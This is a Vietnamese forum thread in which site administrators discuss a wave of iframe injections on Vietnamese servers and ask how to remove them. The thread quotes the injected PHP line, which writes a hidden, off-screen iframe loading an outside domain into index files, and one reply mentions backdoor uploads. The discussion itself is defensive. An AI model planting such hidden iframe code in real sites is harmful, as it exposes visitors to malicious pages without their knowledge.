10/10/2018, 09:49
[iframe] tấn công hàng loạt sever Việt Nam
Tình hình hiện tại theo như em biết và xảy ra trong suốt thời gian vừa qua rất nhiều server việt nam bị dính iframe của bọn tàu ( theo suy đoán của em là vậy)
Nên em mạo muội lập topic này để anh em chia sẻ kinh nghiệm diệt các loại iframe này.
Tự động chèn vào các file như sau index.php, index.html và default.php
echo "<script>document.write('<iframe src="http://hulmeux.com/?click=842481" width=100 height=100 style="position:absolute;top:-10000;left:-10000;"></iframe>');</script>";
Nếu xóa thủ công thì không ổn, mà tìm ra nguồn gốc của nó thì càng vật vả.
Anh em có phần mềm vào tools nào hay giới thiệu ạ.
Nên em mạo muội lập topic này để anh em chia sẻ kinh nghiệm diệt các loại iframe này.
Tự động chèn vào các file như sau index.php, index.html và default.php
echo "<script>document.write('<iframe src="http://hulmeux.com/?click=842481" width=100 height=100 style="position:absolute;top:-10000;left:-10000;"></iframe>');</script>";
Nếu xóa thủ công thì không ổn, mà tìm ra nguồn gốc của nó thì càng vật vả.
Anh em có phần mềm vào tools nào hay giới thiệu ạ.
Bài liên quan
echo "<!--";
rồi sau đó thêm 1 cái
echo "-->";
có thể nó sẽ comment out cái vụ auto iframe này
Nó hack upload backdoor vào change các file index. Toàn site của bọn tàu và Nga ko à.